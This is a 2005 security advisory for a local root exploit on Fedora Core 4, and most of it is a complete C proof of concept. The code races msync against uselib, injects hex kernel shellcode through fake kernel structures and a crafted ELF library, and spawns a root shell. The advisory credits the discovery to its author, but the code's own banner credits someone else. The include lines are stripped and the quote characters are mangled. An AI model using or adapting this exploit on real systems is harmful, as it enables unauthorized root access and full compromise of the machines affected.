Local Root exploit (Fedora Core 4)

June 30, 2005

Local Root Exploit under Fedora Core 4 (stable) Advisory

Florian Strankowski
florian.s@bildunxxluecke.de
www.bildunxxluecke.de/usr/florian/advisory/advisory-05-048.txt

Vulnerable System :

This vulnerability affects Fedora Core 4.0 (stable) with
the kernelversion 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:53:35 EDT 2005
(http://fedora.redhat.com)

Vulnerability Title:

pwned.c (originally and mods of it)

Vulnerability discovery and development:

Florian Strankowski discovered this Bug while trying to use
a standard sys_uselib for gaining root previlegies under
user enviroment in Fedora Core 4.
The Bug leads to a poc of gaining access to the /root directory
under the Fedora Core 4 System and maybe other ring-0 trees.

Affected systems:

- Fedora Core 4 (stable,maybe the following (not tested): testing 1, testing
2, testing 3)

Vendor notified:

Redhat Systems notified but did not publish fix

Workaround/Fix:

use grsec

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POC :

#include
#include
#include
#include

#include
#include
#include
#include

#include
#include
#include #include
#include
#include

#define __WCLONE 0×80000000 /* Wait only on non-SIGCHLD children */

#define ltime unsigned long long
#define MEMSZ (70*1024*1024)

#define MAGIC -123

unsigned char shellcode[] =
“\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20
\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34
\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50
\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00
\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11
\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3
\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8
\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04
\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3″;

static ltime gtime()
{
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec * 1000000 + tv.tv_usec;
}

ltime lt;

static void time_start()
{
lt = gtime();
}

static void time_end()
{
printf(“took %lu microseconds\n”, gtime() – lt);
}

void core_stat()
{
int s;
char buf[512];
char incore;
unsigned long last = 0;
FILE *f;

sprintf(buf, “/proc/%d/maps”, getpid());
f = fopen(buf, “rt”);
while (fgets(buf, 512, f)) {
unsigned int from, to;
unsigned int i;

if (sscanf(buf, “%x-%x”, &from, &to) < 2)
break;
// printf("%p!%p\n", from, to);
for (i = from; i < to; i += PAGE_SIZE) {
mincore((void *) i, PAGE_SIZE, &incore);
if (incore) {
r:;
if (!last) {
printf("in core 0x%08x-", i);
s = last = i;
continue;
}
if (last + PAGE_SIZE == i) {
// printf("(%p)", i);
last = i;
continue;
}
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
goto r;
}
if (!last)
continue;
printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
last = 0;
}
}
fclose(f);
}

#define SWAPFILE "TTswap"
#define EATFILES "TTeatfiles"
#define EATFILE "TTeatfile"
#define SHAREFILE "TTsharefile"
#define DUMMYFILE "TTdummyfile"
#define EATTIME 10
#define LIBFILE "TTlib"

/* number of vma struct fill */
#define VMAFILL 15000

/* how much pages to sync - 2 is enough */
#define NSYNC 2
#define BASE (char *) 0x60000000
#define DBASE (char *) 0x80001000
#define EPAGE (char *) 0x80000000

#define MAPSTEP 64 * 4096

#if 1
#define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n"); }
#else
#define DEBUG(x...)
#endif

#define sendsig(pid) kill(pid, SIGUSR1)
#define wait4sig() { while (!gotsig) pause(); gotsig = 0; }

#define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1))
#define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1))

#undef O_DIRECT
#define O_DIRECT 0

struct libimg {
Elf32_Ehdr elf;
Elf32_Phdr ph;
};

struct dentry_struct {
unsigned dummy0, dummy1;
void *inode1, *inode2;
};

struct file_struct {
struct file_struct *next, *prev;
void *dentry;
void *mnt;
void *op;
void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */
};

/* this should roughly cover 2.4* and 2.6* */
struct vma_struct {
void *mm;
unsigned long vm_start;
unsigned long vm_end;
struct vma_struct *vm_next;
unsigned long pgprot;
unsigned long vmflags;
char rb[16];
void *shared_next, *shared_prev;
void *vm_ops;
unsigned long pgoff;
void *file;
void *priv;
};

struct mm_struct {
struct vma_struct *mmap;
void *rb;
struct vma_struct *cache;
void *pgd1;
void *pgd2;
void *pgd3;
/* somewhere there lies the spinlock */
unsigned long locks[32];
};

/* the image of the evil library. */
struct libimg limg = {
{
e_ident: "\177ELF",
e_type: ET_EXEC,
e_machine: EM_386,
e_phoff: sizeof(Elf32_Ehdr),
e_ehsize: sizeof(Elf32_Ehdr),
e_phentsize: sizeof(Elf32_Phdr),
e_phnum: 1
},
{
p_type: PT_LOAD,
p_vaddr: 0,
p_memsz: 0
}
};

static void make_lib(char *name)
{
int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700);
write(libfd, &limg, sizeof(limg));
fchmod(libfd, 0700);
}

static char thread_stack[16384];
int fd1, fd2, fd3;
char buf[MAPSTEP];
int notincore;
int t4;
int t3;
int t2;
int bigsize = 0;
char *bigmem = NULL;
int swapsize = 0;
char *swapmem = NULL;
char *base = BASE;
char *vmamem;
int gotsig = 0;
int sem = 0;

#define cleanup() _cleanup(__func__, __LINE__)
void killall()
{
if (t2 != getpid())
kill(t2, SIGKILL);
if (t3 != getpid())
kill(t3, SIGKILL);
if (t4 != getpid())
kill(t4, SIGKILL);
}
void _cleanup(const char *name, int line)
{
printf("cleanup called! from %s:%d\n", name, line);
killall();
unlink(SHAREFILE);
unlink(SWAPFILE);
unlink(EATFILES);
unlink(EATFILE);
unlink(LIBFILE);
_exit(1);
}

#define FAKES_BASE 0x50000000

struct fakes {
int t1;
struct mm_struct mm;
struct vma_struct vma;
struct file_struct file;
struct dentry_struct dentry;
unsigned long mapping24[128];
unsigned long mapping26[128];
unsigned long inode[128];
unsigned long pgd[1024];
void *ptrs[128];
char shellcode[sizeof(shellcode)];
int t2;
};

struct fakes *fakes = (void *) FAKES_BASE;

/* build the fake vma which msync_interval will get
* we've to emulate a lot of things!
*/
void build_fakevma()
{
int i;
memset(fakes, 0, sizeof(*fakes));
fakes->vma.vm_end = (unsigned)( base + PAGE_SIZE * 2);
fakes->vma.vm_start = (unsigned)(base + PAGE_SIZE);
/* we need this to let the kernel enter the fs callback we control */
fakes->vma.vmflags = 0xf;
fakes->vma.file = &fakes->file;
fakes->vma.mm = &fakes->mm;

fakes->mm.pgd1 = fakes->pgd;
fakes->mm.pgd2 = fakes->pgd;
fakes->mm.pgd3 = fakes->pgd;
/* there are no pmd’s */
memset(fakes->pgd, 0, sizeof(fakes->pgd));
/* initialize potential spinlock on smp */
for (i = 0; i < 32; i++)
fakes->mm.locks[i] = 1;
/* 2.4 goes thru dentry */
fakes->file.dentry = &fakes->dentry;
fakes->dentry.inode1 = fakes->inode;
fakes->dentry.inode2 = fakes->inode;
/* this will be i_sem */
for (i = 0; i < 32; i++)
fakes->inode[i] = 1;
/* and this reference to i_mapping */
for (i = 32; i < 128; i++)
fakes->inode[i] = (unsigned long) fakes->mapping24;

/* 2.6 goes thru f_mapping */
for (i = 0; i < 64; i++)
fakes->file.f_mapping[i] = fakes->mapping26;

/* prepare mmappings for both 2.4 and 2.6 */

/* mapping on 2.6 requieres to have ->host defined.
and backing_dev_info pointing to bunch of nonzero memory.
also locked_pages list must point to itself (empty) */
fakes->mapping26[0] = (unsigned long) fakes->inode;
for (i = 1; i < = 3; i++)
fakes->mapping26[i] = 0;
for (i = 4; i < 16; i++)
fakes->mapping26[i] = (unsigned long) &fakes->mapping26[i];
for (i = 16; i < = 30; i++)
fakes->mapping26[i] = (unsigned long) fakes->ptrs;

/* mapping on 2.4 requieres only having mapping consisting of empty lists */
for (i = 0; i < = 30; i++)
fakes->mapping24[i] = (unsigned long) &fakes->mapping24[i];
for (i = 23; i < = 30; i++)
fakes->mapping24[i] = (unsigned long) fakes->ptrs;

/* ok, now setup fops->f_sync to our evil fsync */
fakes->file.op = fakes->ptrs;
for (i = 0; i < 128; i++)
fakes->ptrs[i] = fakes->shellcode;
memcpy(fakes->shellcode, shellcode, sizeof(shellcode));
}

void create_fakepage(void *buf)
{
int i;
void *vma = &fakes->vma;
void **p = buf;

for (i = 0; i < MAPSTEP; i += sizeof(void *))
*p++ = vma; /* !!! */
}

static void sighand(int d)
{
gotsig = 1;
}

static int thread(void *d)
{
int t3;
int ret;
int i;

wait4sig();
printf("(sleep1)\n");
usleep(300000);
printf("(sleep1 finished)\n");
printf("trying to mmap back the evil page\n");
for (i = 0; i < VMAFILL; i++) {
if (i == VMAFILL/2)
ret=mmap(swapmem + PAGE_SIZE * 2, PAGE_SIZE,
PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED, fd3, 0);
mmap(vmamem + i * PAGE_SIZE, PAGE_SIZE,
PROT_READ|((i&1)?(PROT_WRITE):(PROT_EXEC)),
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
}
swapmem[PAGE_SIZE*2] = 'x';
printf("%p, evil mapped\n",ret);
printf("(sleep2)\n");
if (sem)
cleanup();
sendsig(t3);
usleep(300000);
printf("(sleep2 finished)\n");
if (sem)
cleanup();
munmap(vmamem, VMAFILL * PAGE_SIZE);
printf("doing msync\n");
printf("still doing msync\n");
ret = msync(swapmem + PAGE_SIZE * 2, PAGE_SIZE * 4, MS_SYNC);
printf("finished msync, %d, errno=%d\n", ret, errno);
if (ret == -1 && errno == 123) {
sem = 0;
killall();
printf("y4'r3 1uCky k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/sh", "sh", "-i", NULL);
printf("execve failed %d\n", errno);
}
if (!sem) {
printf(":(\n");
cleanup();
}
_exit(0);
}

int main(int argc, char *argv[])
{
int i, n;
char *dummy = DBASE;

printf("linux kernel msync race condition\nbug discovered by sd,
further research by sd and *****\nthis is development-in-progress code,
redistribution
prohibited!\n=============================================\n");

signal(SIGUSR1, sighand);
signal(SIGALRM, sighand);
setbuf(stdout, NULL);

i = open(SHAREFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);

mmap(FAKES_BASE, PAGE_ALIGN(sizeof(*fakes)), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED, i,0);
ftruncate(i, PAGE_ALIGN(sizeof(*fakes)));
build_fakevma();
t4 = fork();
if (!t4) {
while (1) {
fakes->t1++;
fakes->t2++;
sched_yield();
}
}
printf(“creating fakepage\n”);
create_fakepage(buf);
i = open(DUMMYFILE,O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(i, MAPSTEP);
write(i, buf, MAPSTEP);
for (n = 0; n < MEMSZ; n += MAPSTEP)
mmap(dummy + n, MAPSTEP, PROT_READ|PROT_WRITE, MAP_SHARED, i, 0);

/* open */
fd3 = open(EATFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(fd3, 16384);
/* create the source junkfile */
fd1 = open(EATFILES, O_CREAT|O_RDWR|O_TRUNC, 0777);
alarm(EATTIME);
printf("done fakepage\n");
do {
int c;
c = write(fd1, buf, MAPSTEP);
if (c < MAPSTEP)
break;
bigsize += c;
printf("done %d Kb\r", bigsize / 1024);
} while (!gotsig);
printf("\n");
alarm(0);
gotsig = 0;
/* big - bugmem part */
bigmem = mmap(base - bigsize, bigsize, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_FIXED|MAP_SHARED, fd1, 0);
if (bigmem == MAP_FAILED)
cleanup();

t3 = fork();

if (!t3) {
wait4sig();
printf("starting aggresive write!\n");
write(fd3, bigmem, bigsize);
printf("done aggresive write!\n");
_exit(0);
}

t2 = clone(thread, thread_stack + sizeof(thread_stack) - 4,
0xf00, NULL);

swapmem = base;
if (mmap(swapmem, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE, 0, 0)
== MAP_FAILED) cleanup();

/* create the swap */
printf("creating swapfile\n");
fd2 = open(SWAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
ftruncate(fd2, MEMSZ);
vmamem = swapmem + MEMSZ + 16*PAGE_SIZE;
// base += VMAFILL * PAGE_SIZE;

printf("vmamem = %p\n", vmamem);
mmap(swapmem + PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED, fd2, 0);
printf("swapmem = %p, swapsize = %d\n", swapmem, 2*PAGE_SIZE);
// getchar();

// munmap(vmamem, VMAFILL * PAGE_SIZE);

write(fd2, dummy, MEMSZ);
close(fd2);

printf("unlink\n");
unlink(SWAPFILE);

// core_stat();
build_fakevma();
sendsig(t2);
limg.ph.p_vaddr = (unsigned) swapmem + PAGE_SIZE;
limg.ph.p_memsz = PAGE_SIZE * 2;
make_lib(LIBFILE);
printf("started uselib\n");
time_start();
uselib(LIBFILE);
// munmap(swapmem + PAGE_SIZE, PAGE_SIZE);
time_end();
printf("uselib finished!\n");
sem = 1;
printf("pid %d\n",getpid());
// core_stat();
n = 0;
n = waitpid(t2, NULL, __WCLONE);
printf("waitpid got %d/%d\n", n, errno);
// killall();
cleanup();
}

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